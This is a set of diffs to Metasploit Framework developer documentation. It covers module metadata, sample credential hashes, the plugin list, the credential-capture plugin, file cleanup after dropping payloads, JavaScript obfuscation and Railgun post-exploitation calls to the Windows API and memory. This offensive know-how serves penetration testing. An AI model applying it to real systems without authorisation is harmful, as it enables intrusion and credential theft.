'DisclosureDate' => '',
'DefaultTarget' => 0
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
},
)
)
end
@@ -99,7 +104,14 @@ end
* **Payloads** - The Payloads field specifies how the payload should be encoded and generated. You can specify: `Space`, `SaveRegisters`, `Prepend`, `PrependEncoder`, `BadChars`, `Append`, `AppendEncoder`, `MaxNops`, `MinNops`, `Encoder`, `Nop`, `EncoderType`, `EncoderOptions`, `ExtendedOptions`, `EncoderDontFallThrough`.
**DisclosureDate** - The DisclosureDate is about when the vulnerability was disclosed in public, in the format of: "M D Y". For example: "Apr 04 2014"
* **DisclosureDate** - The DisclosureDate is about when the vulnerability was disclosed in public, in the format of: "M D Y". For example: "Apr 04 2014"
* **Notes** - The Notes field is a hash always containing three keys. The value of each key is an array of constants. The list of available constants can be found in the [[Definition of Module Reliability Side Effects and Stability|./Definition-of-Module-Reliability-Side-Effects-and-Stability.md]]. The key should be present even if the array is empty.
* **Stability** - The Stability field describes how the exploit affects the system it's being run on, ex: `CRASH_SAFE`, `CRASH_OS_DOWN`
* **Reliability** - The Reliability field describes how reliable the session is that gets returned by the exploit, ex: `REPEATABLE_SESSION`, `UNRELIABLE_SESSION`
* **SideEffects** - The SideEffects field describes the side effects cause by the exploit that the user should be aware of, ex: `ARTIFACTS_ON_DISK`, `IOC_IN_LOGS`, `ACCOUNT_LOCKOUTS`.
Your exploit should also have a `check` method to support the check command, but this is optional in case it's not possible.
@@ -141,7 +141,7 @@ creds add user:mssql_foo hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D48
creds add user:mssql12_Password1! hash:0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 jtr:mssql12
creds add user:mysql_probe hash:445ff82636a7ba59 jtr:mysql
creds add user:mysql-sha1_tere hash:*5AD8F88516BD021DD43F171E2C785C69F8E54ADB jtr:mysql-sha1
## oracle (10) uses usernames in the hashing, so we can't overide that here
## oracle (10) uses usernames in the hashing, so we can't override that here
creds add user:simon hash:4F8BC1809CB2AF77 jtr:des,oracle
creds add user:SYSTEM hash:9EEDFA0AD26C6D52 jtr:des,oracle
## oracle 11/12 H value, username is used
@@ -149,7 +149,7 @@ creds add user:DEMO hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C
## oracle 11/12 uses a LONG format, see lib/msf/core/auxiliary/jtr.rb
creds add user:oracle11_epsilon hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C' jtr:raw-sha1,oracle
creds add user:oracle12c_epsilon hash:'H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B' jtr:pbkdf2,oracle12c
## postgres uses username, so we can't overide that here
## postgres uses username, so we can't override that here
creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860
## other
creds add user:hmac_password hash:'<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9' jtr:hmac-md5
+1 -1
View File
@@ -33,7 +33,6 @@ Are you anxious to get your [[Metasploit Development Environment|./dev/Setting-U
- [[Exploit Ranking]]
- [[Module Reference Identifiers]]
- [[How to check Microsoft patch levels for your exploit]]
- [[How to clean up files using FileDropper]]
- [[How to deprecate a Metasploit module]]
- [[How to do reporting or store data in module development]]
- [[How to log in Metasploit]]
@@ -65,6 +64,7 @@ Are you anxious to get your [[Metasploit Development Environment|./dev/Setting-U
- [[Using ReflectiveDll Injection]]
- [[Oracle Usage]]
- [[Definition of Module Reliability, Side Effects, and Stability|./Definition-of-Module-Reliability-Side-Effects-and-Stability.md]]
- [[How to cleanup after module execution]]
# Metasploit Payloads #
@@ -0,0 +1,155 @@
Metasploit plugins can change the behavior of Metasploit framework by adding new features, new user interface commands, and more.
They are designed to have a very loose definition in order to make them as useful as possible.
Plugins are not available by default, they need to be loaded:
```msf
msf6 > load plugin_name
```
Plugins can be automatically loaded and configured on msfconsole's start up by configuring a custom `~/.msf4/msfconsole.rc` file:
```
load plugin_name
plugin_name_command --option
```
## Available Plugins
The current available plugins for Metasploit can be found by running the `load -l` command, or viewing Metasploit's [plugins](https://github.com/rapid7/metasploit-framework/tree/master/plugins) directory:
| name | Description |
|------------------|-----------------------------------------------------------------------------------------------------|
| aggregator | Interacts with the external Session Aggregator |
| alias | Adds the ability to alias console commands |
| auto_add_route | Adds routes for any new subnets whenever a session opens |
| beholder | Capture screenshots, webcam pictures, and keystrokes from active sessions |
| besecure | Integrates with the beSECURE - open source vulnerability management |
| capture | Start all credential capture and spoofing services |
| db_credcollect | Automatically grab hashes and tokens from Meterpreter session events and store them in the database |
| db_tracker | Monitors socket calls and updates the database backend |
| event_tester | Internal test tool used to verify the internal framework event subscriber logic works |
| ffautoregen | This plugin reloads and re-executes a file-format exploit module once it has changed |
| ips_filter | Scans all outgoing data to see if it matches a known IPS signature |
| lab | Adds the ability to manage VMs |
| libnotify | Send desktop notification with libnotify on sessions and db events |
| msfd | Provides a console interface to users over a listening TCP port |
| msgrpc | Provides a MessagePack interface over HTTP |
| nessus | Nessus Bridge for Metasploit |
| nexpose | Integrates with the Rapid7 Nexpose vulnerability management product |
| openvas | Integrates with the OpenVAS - open source vulnerability management |
| pcap_log | Logs all socket operations to pcaps (in /tmp by default) |
| request | Make requests from within Metasploit using various protocols. |
| rssfeed | Create an RSS feed of events |
| sample | Demonstrates using framework plugins |
| session_notifier | This plugin notifies you of a new session via SMS |
| session_tagger | Automatically interacts with new sessions to create a new remote TaggedByUser file |
| socket_logger | Log socket operations to a directory as individual files |
| sounds | Automatically plays a sound when various framework events occur |
| sqlmap | sqlmap plugin for Metasploit |
| thread | Internal test tool for testing thread usage in Metasploit |
| token_adduser | Attempt to add an account using all connected Meterpreter session tokens |
| token_hunter | Search all active Meterpreter sessions for specific tokens |
| wiki | Outputs stored database values from the current workspace into DokuWiki or MediaWiki format |
| wmap | Web assessment plugin |
## Examples
### Alias Plugin
The Alias plugin adds the ability to alias console commands:
```msf
msf6 > load alias
[*] Successfully loaded plugin: alias
msf6 > alias -h
Usage: alias [options] [name [value]]
OPTIONS:
-c Clear an alias (* to clear all).
-f Force an alias assignment.
-h Help banner.
```
Register an alias such as `proxy_enable`:
```msf
msf6 > alias proxy_enable "set Proxies http:localhost:8079"
```
Now when running the aliased `proxy_enable` command, the proxy datastore value will be set for the current module:
```msf
msf6 auxiliary(scanner/http/title) > proxy_enable
Proxies => http:localhost:8079
```
Viewing registered aliases:
```msf
msf6 > alias
Current Aliases
===============
Alias Name Alias Value
---------- -----------
alias proxy_enable set Proxies http:localhost:8079
```
To automatically load and configure the alias plugin on startup of Metasploit, create a custom `~/.msf4/msfconsole.rc` file:
```
load alias
alias proxy_enable "set Proxies http:localhost:8079"
alias proxy_disable "unset Proxies"
alias routes "route print"
```
### Capture Plugin
Capturing credentials is a critical and early phase in the playbook of many offensive security testers. Metasploit has
facilitated this for years with protocol-specific modules all under the `modules/auxiliary/server/capture` directory. Users can start and configure
each of these modules individually, but now the capture plugin can streamline the process. The capture plugin can easily start 13
different services (17 including SSL enabled versions) on the same listening IP address including remote interfaces via Meterpreter.
A configuration file can be used to select individual services to start and once finished, all services can easily be stopped
using a single command.
To use the plugin, it must first be loaded. That will provide the `captureg` command (for Capture-Global) which then offers start
and stop subcommands. In the following example, the plugin is loaded, and then all default services are started on the 192.168.159.128 interface.
```msf
msf6 > load capture
[*] Successfully loaded plugin: Credential Capture
msf6 > captureg start --ip 192.168.159.128
Logging results to /home/smcintyre/.msf4/logs/captures/capture_local_20220325104416_589275.txt
Hash results stored in /home/smcintyre/.msf4/loot/captures/capture_local_20220325104416_612808
[+] Authentication Capture: DRDA (DB2, Informix, Derby) started
[+] Authentication Capture: FTP started
[+] HTTP Client MS Credential Catcher started
[+] HTTP Client MS Credential Catcher started
[+] Authentication Capture: IMAP started
[+] Authentication Capture: MSSQL started
[+] Authentication Capture: MySQL started
[+] Authentication Capture: POP3 started
[+] Authentication Capture: PostgreSQL started
[+] Printjob Capture Service started
[+] Authentication Capture: SIP started
[+] Authentication Capture: SMB started
[+] Authentication Capture: SMTP started
[+] Authentication Capture: Telnet started
[+] Authentication Capture: VNC started
[+] Authentication Capture: FTP started
[+] Authentication Capture: IMAP started
[+] Authentication Capture: POP3 started
[+] Authentication Capture: SMTP started
[+] NetBIOS Name Service Spoofer started
[+] LLMNR Spoofer started
[+] mDNS Spoofer started
[+] Started capture jobs
msf6 >
```
This content was originally posted on the [Rapid7 Blog](https://www.rapid7.com/blog/post/2022/03/25/metasploit-weekly-wrap-up-154/).
@@ -62,9 +62,9 @@ res = @http_client.send_request_cgi({
The cookies returned by the server with a successful login need to be attached to all future requests, so `'keep_cookies' => true,` is used to add all returned cookies to the HttpClient CookieJar and attach them to all subsequent requests.
### `cookie` option
Shown below is the request used to login to a gitlab account in the [artical\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection module](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/modules/exploits/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.rb#L115)
Shown below is the request used to login to a gitlab account in the [artica\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection module](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/modules/exploits/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.rb#L115)
artical\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection requires a specific cookie header to be sent with a request in order to achieve RCE. By setting a string of the desired header as the value of the `cookie` option, that string is set as the cookie header without any changes, allowing the exploit to be carried out.
artica\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection requires a specific cookie header to be sent with a request in order to achieve RCE. By setting a string of the desired header as the value of the `cookie` option, that string is set as the cookie header without any changes, allowing the exploit to be carried out.
```ruby
res = send_request_cgi({
@@ -1,38 +0,0 @@
## On this page
* [Examples](#examples)
* [Reference](#reference)
In some exploitation scenarios such as local privilege escalation, command execution, write privilege attacks, SQL Injections, etc, it is very likely that you have to upload one or more malicious files in order to gain control of the target machine. Well, a smart attacker shouldn't leave anything behind, so if a module needs to drop something onto the file system, it's important to remove it right after the purpose is served. And that is why we created the FileDropper mixin.
## Examples
The FileDropper mixin is a file manager that allows you to keep track of files, and then delete them when a session is created. To use it, first include the mixin:
```ruby
include Msf::Exploit::FileDropper
```
Next, tell the FileDropper mixin where the file is going to be after a session is created by using the ```register_file_for_cleanup``` method. Each file name should either be a full path or relative to the current working directory of the session. For example, if I want to upload a payload to the target machine's remote path: ```C:\Windows\System32\payload.exe```, then my statement can be:
```ruby
register_file_for_cleanup("C:\\Windows\\System32\\payload.exe")
```
If my session's current directory is already in ```C:\Windows\System32\```, then you can:
```ruby
register_file_for_cleanup("payload.exe")
```
If you wish to register multiple files, you can also provide the file names as arguments:
```ruby
register_file_for_cleanup("file_1.vbs", "file_2.exe", "file_1.conf")
```
Note that if your exploit module uses ```on_new_session```, you are actually overriding FileDropper's ```on_new_session```.
## Reference
- <https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/file_dropper.rb>
@@ -0,0 +1,86 @@
## On this page
* [Cleanup method](#cleanup-method)
* [FileDropper Mixin](#filedropper-mixin)
## Cleanup method
Metasploit has a handy `cleanup` method that is always called when the module terminates, whether it is successful or not. This method can be overridden by any modules to add their own cleanup routines. For example, this might be useful to put some files back on the target after the module had deleted them. Another scenario would be to restore the settings in a web application that were modified by the exploit. This is the right place to clean things up.
Framework itself implements this method to disconnect connections, call the handler cleanup routines, etc. Some other mixins, such as the `Msf::Exploit::FileDropper` (see the next [section](#filedropper-mixin)) or `Msf::Exploit::Remote::Kerberos::Client`, override this method to add their own cleanup code. It is extremely important to **always** call `super` in your `cleanup` method to make sure Framework and any other mixins clean up themself properly.
Here is an example that restores a configuration file after being deleted by the module:
```ruby
def cleanup
unless self.conf_content.nil?
write_file(self.conf_file, self.conf_content)
end
super
end
```
Here is another example of a `cleanup` method that deletes a temporary Git repository:
```ruby
def cleanup
super
return unless need_cleanup?
print_status('Cleaning up')
uri = normalize_uri(datastore['USERNAME'], self.repo_name, '/settings')
csrf = get_csrf(uri)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], uri),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
_csrf: csrf,
action: 'delete',
repo_name: self.repo_name
}
})
unless res
fail_with(Failure::Unreachable, 'Unable to reach the settings page')
end
unless res.code == 302
fail_with(Failure::UnexpectedReply, 'Delete repository failure')
end
print_status("Repository #{self.repo_name} deleted.")
nil
end
```
## FileDropper Mixin
In some exploitation scenarios such as local privilege escalation, command execution, write privilege attacks, SQL Injections, etc, it is very likely that you have to upload one or more malicious files in order to gain control of the target machine. Well, a smart attacker shouldn't leave anything behind, so if a module needs to drop something onto the file system, it's important to remove it right after the purpose is served. And that is why we created the FileDropper mixin.
The [FileDropper mixin](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/file_dropper.rb) is a file manager that allows you to keep track of files, and then delete them when a session is created. To use it, first include the mixin:
```ruby
include Msf::Exploit::FileDropper
```
Next, tell the FileDropper mixin where the file is going to be after a session is created by using the `register_file_for_cleanup` method. Each file name should either be a full path or relative to the current working directory of the session. For example, if I want to upload a payload to the target machine's remote path: `C:\Windows\System32\payload.exe`, then my statement can be:
```ruby
register_file_for_cleanup("C:\\Windows\\System32\\payload.exe")
```
If my session's current directory is already in `C:\Windows\System32\`, then you can:
```ruby
register_file_for_cleanup("payload.exe")
```
If you wish to register multiple files, you can also provide the file names as arguments:
```ruby
register_file_for_cleanup("file_1.vbs", "file_2.exe", "file_1.conf")
```
Note that if your exploit module uses `on_new_session`, you are actually overriding FileDropper's `on_new_session`.
@@ -62,6 +62,14 @@ The other one is ```inspect```, which returns a string of a human-readable repre
session.inspect
```
One commonly used method of the session object is the `platform` method. For example, if you're writing a post module for a windows exploit, in the check method you'll likely want to use `session.platform` to ensure the target session is affected:
```ruby
unless session.platform == 'windows'
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
```
You can also look at [other current post modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/post) and see how they use their session object.
### The Msf::Post Mixin
@@ -49,7 +49,7 @@ Here's the most basic example of an auxiliary module. We'll explain a bit more a
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -86,7 +86,7 @@ Because the ```Msf::Auxiliary::Scanner``` mixin is so popular, we figured you wa
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -38,7 +38,7 @@ For debugging purposes, it's always better to turn on the highest level of loggi
There are mainly five logging methods you will most likely be using a lot, and they all have the exact same arguments. Let's use one of the logging methods to explain what these arguments are about:
```
```ruby
def elog(msg, src = 'core', level = 0, from = caller)
```
@@ -50,7 +50,7 @@ And then you are ready to go.
The first thing you do with ObfuscateJS is you need to initialize it with the JavaScript you want to obfuscate, so in this case, begin like the following:
```
```ruby
js = %Q|
var arrr = new Array();
arrr[0] = windows.document.createElement("img");
@@ -82,7 +82,7 @@ So if I want to obfuscate the variable ```arrr```, and I want to obfuscate the s
In some cases, you might actually want to know the obfuscated version of a symbol name. One scenario is calling a JavaScript function from an element's event handler, such as this:
```
```html
<html>
<head>
<script>
@@ -150,7 +150,7 @@ This time we'll do a "hello world" example:
And here's the output:
```
```javascript
window[(function () { var _d="t",y="ler",N="a"; return N+y+_d })()]((function () { var f='d!',B='orl',Q2='h',m='ello, w'; return Q2+m+B+f })());
```
@@ -24,7 +24,7 @@ int main(void) {
require 'metasploit/framework/compiler/windows'
## Save as an exe varibale
## Save as an exe variable
exe = Metasploit::Framework::Compiler::Windows.compile_c(c_template)
## Save the binary as a file
@@ -119,4 +119,4 @@ int main() {
outfile = "/tmp/helloworld.exe"
weight = 70 # This value is used to determine how random the code gets.
Metasploit::Framework::Compiler::Windows.compile_random_c_to_file(outfile, c_source_code, weight: weight)
```
```
@@ -89,7 +89,7 @@ First ensure you are running the Metasploit database, and are running the JSON s
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -118,7 +118,7 @@ Response:
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -155,7 +155,7 @@ Response:
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'content-type: application/json' \
@@ -185,7 +185,7 @@ Response:
Metasploit modules support running `check` methods which can be used to identify the success of an exploit module, or to run an
auxiliary module against a target. For instance, with an Auxiliary module check request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -205,7 +205,7 @@ curl --request POST \
Or an Exploit module check request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'content-type: application/json' \
@@ -240,7 +240,7 @@ The response will contain an identifier which can be used to query for updates:
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -288,7 +288,7 @@ It is possible to poll for module results using the id returned when running a m
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -353,7 +353,7 @@ but the memory is limited to 35mb as the memory datastore used is implemented by
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -445,7 +445,7 @@ curl --request POST \
Run the analyze command:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Authorization: Bearer ' \
@@ -491,7 +491,7 @@ Response:
When analyzing a host, it is also possible to specify payload requirements for additional granularity:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Authorization: Bearer ' \
@@ -1,8 +1,8 @@
Railgun is a very powerful post exploitation feature exclusive to Windows Meterpreter. It allows you to have complete control of your target machine's Windows API, or you can use whatever DLL you find and do even more creative stuff with it. For example: say you have a meterpreter session on a Windows target. You have your eyes on a particular application that you believe stores the user's password, but it is encrypted and there are no tools out there for decryption. With Railgun, what you can do is you can either tap into the process and grep for any sensitive information found in memory, or you can look for the program's DLL that's responsible for the decryption, call it, and let it decrypt it for you. If you're a penetration tester, obviously post exploitation is an important skill to have, but if you don't know Railgun, you are missing out a lot.
Railgun is a very powerful post exploitation feature exclusive to the Windows and Python Meterpreters. It allows you to have complete control of your target machine's Windows API, or you can use whatever DLL you find and do even more creative stuff with it. For example: say you have a Meterpreter session on a Windows target. You have your eyes on a particular application that you believe stores the user's password, but it is encrypted and there are no tools out there for decryption. With Railgun, you can either tap into the process and grep for any sensitive information found in memory, or you can look for the program's DLL that's responsible for the decryption, call it, and let it decrypt it for you. If you're a penetration tester, obviously post exploitation is an important skill to have, but if you don't know Railgun, you are missing out a lot.
### Defining a DLL and its functions
## Defining a DLL and its functions
The Windows API is obviously quite large, so by default Railgun only comes with a handful of pre-defined DLLs and functions that are commonly used for building a Windows program. These built-in DLLs are: kernel32, ntdll, user32, ws2_32, iphlpapi, advapi32, shell32, netapi32, crypt32, wlanapi, wldap32, version. The same list of built-in DLLs can also be retrieved by using the ```known_dll_names``` method.
The Windows API is obviously quite large, so by default Railgun only comes with a handful of pre-defined DLLs and functions that are commonly used for building a Windows program. These built-in DLLs are: advapi32, crypt32, dbghelp, iphlpapi, kernel32, netapi32, ntdll, psapi, shell32, spoolss, user32, version, winspool, wlanapi, wldap32, and ws2_32. The same list of built-in DLLs can also be retrieved by using the `known_library_names` method.
All DLL definitions are found in the "[def](https://github.com/rapid7/metasploit-framework/tree/master/lib/rex/post/meterpreter/extensions/stdapi/railgun/def)" directory, where they are defined as classes. The following template should demonstrate how a DLL is actually defined:
@@ -16,16 +16,16 @@ module Stdapi
module Railgun
module Def
class Def_somedll
class Def_windows_somedll
def self.create_dll(dll_path = 'somedll')
dll = DLL.new(dll_path, ApiConstants.manager)
def self.create_library(constant_manager, dll_path = 'somedll')
dll = Library.new(library_path, constant_manager)
# 1st argument = Name of the function
# 2nd argument = Return value's data type
# 3rd argument = An array of parameters
dll.add_function('SomeFunction', 'DWORD',[
["DWORD","hwnd","in"]
['DWORD','hwnd','in']
])
return dll
@@ -36,32 +36,34 @@ end
end; end; end; end; end; end; end
```
In function definitions, Railgun supports these datatypes: VOID, BOOL, DWORD, WORD, BYTE, LPVOID, HANDLE, PDWORD, PWCHAR, PCHAR, PBLOB.
In function definitions, Railgun supports these data types: BOOL, BYTE, DWORD, LPVOID, PBLOB, PCHAR, PDWORD, PULONG_PTR, PWCHAR, ULONG_PTR, VOID, WORD.
There are four parameter/buffer directions: in, out, inout, and return. When you pass a value to an "in" parameter, Railgun handles the memory management. For example, ```MessageBoxA``` has a "in" parameter named ```lpText```, and is of type PCHAR. You can simply pass a Ruby string to it, and Railgun handles the rest, it's all pretty straight forward.
There are four parameter/buffer directions: in, out, inout, and return. When you pass a value to an "in" parameter, Railgun handles the memory management. For example, `MessageBoxA` has an "in" parameter named `lpText`, and is of type PCHAR. You can simply pass a Ruby string to it, and Railgun handles the rest, it's all pretty straight forward.
An "out" parameter will always be of a pointer datatype. Basically you tell Railgun how many bytes to allocate for the parameter, it allocates memory, provides a pointer to it when calling the function, and then it reads that region of memory that the function wrote, converts that to a Ruby object and adds it to the return hash.
An "out" parameter will always be of a pointer datatype. Basically you tell Railgun how many bytes to allocate for the parameter, it allocates memory, provides a pointer to it when calling the function, and then it reads that region of memory that the function wrote, converts that to a Ruby object and adds it to the return hash. Some datatypes such as LPVOID and ULONG_PTR have a size that is determined based on the host architecture, e.g. 32-bit versions of Windows use 4-byte/32-bit values. For cross compatibility, the number 4 (for 4-bytes) can be used as the size for these values on both 32-bit and 64-bit systems. The number four comes from the size used for these types in the original 32-bit implementation and was selected to maintain backwards compatibility when 64-bit support was added.
An "inout" parameter serves as an input to the called function, but can be potentially modified by it. You can inspect the return hash for the modified value like an "out" parameter.
A quick way to define a new function at runtime can be done like the following example:
The fourth type, "return" is used as the return data type. It is passed to `#add_function` after the function name argument.
A quick way to define a new function (or redefine an existing function) at runtime can be done like the following example:
```ruby
client.railgun.add_function('user32', 'MessageBoxA', 'DWORD',[
["DWORD","hWnd","in"],
["PCHAR","lpText","in"],
["PCHAR","lpCaption","in"],
["DWORD","uType","in"]
['DWORD','hWnd','in'],
['PCHAR','lpText','in'],
['PCHAR','lpCaption','in'],
['DWORD','uType','in']
])
```
However, if this function will most likely be used more than once, or it's part of the Windows API, then you should put it in the library.
However, if this function will most likely be used more than once, or it's part of the Windows API, then you should put it in to the library.
### Usage
## Usage
The best way to try Railgun is with irb in a Windows Meterpreter prompt. Here's an example of how to get there:
```
```msf
$ msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > run
@@ -72,70 +74,81 @@ msf exploit(handler) > run
[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.106:55148) at 2014-07-30 19:49:35 -0500
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
[*] Starting IRB shell...
[*] You are in the "client" (session) object
>>
```
Note that when you're running a post module or in irb, you always have a ```client``` or ```session``` object to work with, both point to same thing, which in this case is ```Msf::Sessions::Meterpreter_x86_Win```. This Meterpreter session object gives you API access to the target machine, including the Railgun object ```Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun```. Here's how you simply access it:
Note that when you're running a post module or in irb, you always have a `client` or `session` object to work with, both point to same thing, which in this case is `Msf::Sessions::Meterpreter_x86_Win`. This Meterpreter session object gives you API access to the target machine, including the Railgun object `Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun`. Here's how you simply access it:
```ruby
session.railgun
railgun
```
If you run the above in irb, you will see that it returns information about all the DLLs, functions, constants, etc, except it's a little unfriendly to read because there's so much data. Fortunately, there are some handy tricks to help us to figure things out. For example, like we mentioned before, if you're not sure what DLLs are loaded, you can call the ```known_dll_names``` method:
If you run the above in irb, you will see that it returns information about all the DLLs, functions, constants, etc, except it's a little unfriendly to read because there's so much data. Fortunately, there are some handy tricks to help us to figure things out. For example, like we mentioned before, if you're not sure what DLLs are loaded, you can call the `known_dll_name` method:
```
>> session.railgun.known_dll_names
=> ["kernel32", "ntdll", "user32", "ws2_32", "iphlpapi", "advapi32", "shell32", "netapi32", "crypt32", "wlanapi", "wldap32", "version"]
>> railgun.known_library_names
=> ["kernel32", "ntdll", "user32", "ws2_32", "iphlpapi", "advapi32", "shell32", "netapi32", "crypt32", "wlanapi", "wldap32", "version", "psapi", "dbghelp", "winspool", "spoolss"]
```
Now, say we're interested in user32 and we want to find all the available functions (as well as return value's data type, parameters), another handy trick is this:
```ruby
session.railgun.user32.functions.each_pair {|n, v| puts "Function name: #{n}, Returns: #{v.return_type}, Params: #{v.params}"}
railgun.user32.functions.each_pair {|n, v| puts "Function name: #{n}, Returns: #{v.return_type}, Params: #{v.params}"}
```
Note that if you happen to call an invalid or unsupported Windows function, a ```RuntimeError``` will raise, and the error message also shows a list of available functions.
Note that if you happen to call an invalid or unsupported Windows function, a `RuntimeError` will raise, and the error message also shows a list of available functions.
To call a Windows API function, here's how:
To call a Windows API function, call the Ruby function of the desired name on the corresponding library (DLL) object. For example to call `user32!MessageBoxA`:
```
>> session.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK")
>> railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK")
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1}
```
As you can see this API call returns a hash. One habit we have seen is that sometimes people don't like to check ```GetLastError```, ```ErrorMessage```, and/or the ```return``` value, they kind of just assume it works. This is a bad programming habit, and is not recommended. If you always assume something works, and execute the next API call, you risk having unexpected results (worst case scenario: losing the Meterpreter session).
As you can see, this API call returns a hash. The "return" key is the return value of the function, as defined by its defined datatype. If the return type is a pointer to a known type (a pointer other than LPVOID, such as PCHAR), then the "return" key will be the value of that type and an additional "&return" key will be included. The "&return" key, when present, is the address in memory at which the "return" value is located. This is useful when the caller needs to both access the value but also have the ability to free it at a later time. Note that in these cases, if the pointer is NULL, "return" will always be Ruby's `nil` value and "&return" will be 0.
### Memory Reading and Writing
The "GetLastError" key is the threads last-error code, as returned by [kernel32!GetLastError][kernel32!GetLastError]. This value is useful for determining if the function call was successful and not not, why it failed. The "ErrorMessage" key is a string to a human readable name of the corresponding "GetLastError" code. When making a function call through railgun, it s important to inspect the results to determine if it was successful before processing any results. There is no error handling for native API calls, so simple mistakes like accessing invalid memory locations will cause the session to close as the host process crashes.
The ```Railgun``` class also has two very useful methods that you will probably use: ```memread``` and ```memwrite```. The names are pretty self-explanatory: You read a block of memory, or you write to a region of memory. We'll demonstrate this with a new block of memory in the payload itself:
## Memory Reading and Writing
The `Railgun` class also has useful methods that you will probably use: `memread` and `memwrite`. The names are pretty self-explanatory: You read a block of memory, or you write to a region of memory. We'll demonstrate this with a new block of memory in the payload itself:
```
>> p = session.sys.process.open(session.sys.process.getpid, PROCESS_ALL_ACCESS)
>> process = sys.process.open(sys.process.getpid, PROCESS_ALL_ACCESS)
=> #<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 @client=#<Session:meterpreter 192.168.1.106:55151 (192.168.1.106) "WIN-6NH0Q8CJQVM\sinn3r @ WIN-6NH0Q8CJQVM">, @handle=448, @channel=nil, @pid=2268, @aliases={"image"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Image:0x007fe2c5a25828 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "io"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::IO:0x007fe2c5a257b0 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "memory"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Memory:0x007fe2c5a25738 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "thread"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Thread:0x007fe2c5a256c0 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>}>
>> p.memory.allocate(1024)
>> address = process.memory.allocate(1024)
=> 5898240
```
As you can see, the new allocation is at address 5898240 (or 0x005A0000 in hex). Let's first write four bytes to it:
As you can see, the new allocation is at the previously allocated address. Let's first write some data to it:
```
>> session.railgun.memwrite(5898240, "AAAA", 4)
>> railgun.memwrite(address, "AAAA\x00".b)
=> true
```
```memwrite``` returns true, which means successful. Now let's read 4 bytes from 0x005A0000:
`memwrite` returns true, which means successful. Now let's read 4 bytes from the same address:
```
>> session.railgun.memread(5898240, 4)
>> railgun.memread(address, 4)
=> "AAAA"
```
